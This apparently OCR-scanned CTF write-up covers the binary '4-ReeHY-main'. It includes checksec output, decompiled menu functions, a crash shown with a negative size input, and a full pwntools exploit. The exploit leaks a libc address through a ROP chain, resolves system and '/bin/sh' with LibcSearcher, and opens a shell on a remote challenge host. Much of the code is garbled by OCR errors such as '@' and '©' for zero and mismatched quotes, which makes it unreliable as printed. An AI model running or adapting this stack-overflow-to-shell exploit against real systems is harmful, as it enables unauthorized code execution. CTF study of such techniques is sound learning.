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[*] '/ctf/work/python/4-ReeHY-main-100/4-ReeHY-main'

Arch: amd64-64-1ittle
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled

PIE: No PIE (0x400000)
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1. main& 3

void _ fastcall main(__int64 al, char **a2, char **a3)

{
int nChoice; // [rsp+106h] [rbp+6h]

read_name();
while ( 1)
{
menu_string();
read_int();
switch ( (unsigned int)&nChoice )
{
case 1lu:
create_exploit();
break;
case 2u:
delete_exploit();
break;
case 3u:
edit_exploit();
break;
case 4u:
show_exploit();
break;
case 5u:
puts("bye~bye~ young hacker");
exit(0);
return;
default:
puts("Invalid Choice!");
break;
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2. create_exploiteg #



signed int create_exploit()

{
signed int nTemp; // eax
char buf; // [rsp+@6h] [rbp-906h]
void *pszExploit; // [rsp+80h] [rbp-106h]
int nIndexCun; // [rsp+88h] [rbp-8h]
size_t nInputSize; // [rsp+8Ch] [rbp-4h]

nTemp = g_nCount;
if ( g_nCount <= 4 )
{
puts("Input size");
nTemp = read_int();
LODWORD(nInputSize) = nTemp;
if ( nTemp <= 4096 )
{
puts("Input cun");
nTemp = read_int();
nIndexCun = nTemp;
if ( nTemp <= 4 )
{
pszExploit = malloc((signed int)nInputSize);
puts("Input content");
if ( (signed int)nInputSize > 112 )
{
read(@, pszExploit, (unsigned int)nInputSize);
}
else
{
read(@, &buf, (unsigned int)nInputSize);
memcpy (pszExploit, &buf, (signed int)nInputSize);
}
*(_DWORD *)(g_dwArrInputSize + 4LL * nIndexCun) = nInputSize;
*((_QWORD *)&g qwArrExploit + 2 * nIndexCun) = pszExploit;
g dwArrValid[4 * nIndexCun] = 1;
++g_nCount;
nTemp = fflush(stdout);

}

return nTemp;
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3. delete_exploiti ¥t



__int64 delete_exploit()

{
__int64 nInputCun; // rax
int nIndexCunj; // [rsp+Ch] [rbp-4h]
puts(“"Chose one to dele");
nInputCun = read_int();
nIndexCun = nInputCun;
if ( (signed int)nInputCun <= 4 )
{
free(*((void **)&g qwArrExploit + 2 * (signed int)nInputCun));
g _dwArrValid[4 * nIndexCun] = 0;
puts(“"dele success!");
nInputCun = (unsigned int)(g_nCount-- - 1);
}
return nInputCun;
}
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4. edit_exploitih %

signed int edit_exploit()
{
signed int nInputCun; // eax
signed int nIndexCun; // [rsp+Ch] [rbp-4h]

puts(“Chose one to edit");
nInputCun = read_int();
nIndexCun = nInputCun;

if ( nInputCun <= 4 )

{
nInputCun = g dwArrValid[4 * nInputCun];
if ( nInputCun == 1)
{
puts("Input the content");
read(@, *((void **)&g qwArrExploit + 2 * nIndexCun), *(unsigned int *)(4LL * nIndexCun + g_dwArrInput
nInputCun = puts("Edit success!");
}
}
return nInputCun;
}
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root@mypwn:/ctf/work/python/4-ReeHY-main-100# ./4-ReeHY-main
Input your name:

$ aa

Hello aa

ok ok K ok ok K ok ok ok ok ok K ok K ok K K ok ok Kk ok Kk ok K K

Welcome to my black weapon storage!

Now you can use it to do some evil things

1. create exploit

2. delete exploit

3. edit exploit

4. show exploit

5. exit

5k 5k 5k 5k 5k K % % % % % % % % 3k 5k ok ok 5k ok ok ok ok k % % %k k%

$1

Input size

-1

Input cun

1

Input content
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Segmentation fault
root@mypwn:/ctf/work/python/4-ReeHY-main-100#

BRA1E B2 KL T Segmentation fault.
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#1i&— T payload:

pop_rdi_ret = @x400da3

write_got = elf.got['write']

puts_plt = elf.plt['puts’']

main_addr = ©x400C8C

nIndexCun = 10

nInputSize = @

leak_head = 'A'*0x88 + p32(nIndexCun) + p32(nInputSize) + "A'*8

payload = leak_head + p64(pop_rdi_ret) + p64(write_got) + p64(puts_plt) + p64(main_addr)
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memcpy (pszExploit, &buf, (signed int)nInputSize);
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#coding:utf8
#!python
#!/usr/bin/env python

from pwn import *

context.log level = 'debug'

process_name = './4-ReeHY-main'

# p = process([process_name], env={'LD_LIBRARY_PATH':'./'})
p = remote('111.198.29.45"', 34843)

elf = ELF(process_name)

def send_choice(payload):
p.sendlineafter('$ ', payload)

def create_exploit(payload):
send_choice('A")
send_choice('1")
p.sendlineafter('Input size\n', '-1')
p.sendlineafter('Input cun\n', '-1")
p.sendlineafter('Input content\n', payload)

pop_rdi_ret = 0x400da3

write _got = elf.got['write']

puts_plt = elf.plt['puts']

main_addr = ©x400C8C

nIndexCun = 10

nInputSize = ©

leak_head = "A'*0x88 + p32(nIndexCun) + p32(nInputSize) + 'A'*8

payload = leak_head + p64(pop_rdi_ret) + p64(write_got) + p64(puts_plt) + p64(main_addr)

create_exploit(payload)

write_addr = u64(p.recvn(6).ljust(8, '\x00'))
log.info('write_addr => %#x', write_addr)
# p.send(p64(write_addr))

from LibcSearcher import *

libc = LibcSearcher('write', write_addr)

libc_base = write_addr - libc.dump('write')

system_addr = libc_base + libc.dump('system')

binsh_addr = libc_base + libc.dump('str_bin_sh")

log.info("system_addr => %#x", system_addr)

log.info("binsh_addr => %#x", binsh_addr)

payload = leak_head + p64(pop_rdi_ret) + p64(binsh_addr) + p64(system_addr) + p64(main_addr)

create_exploit(payload)

p.interactive()
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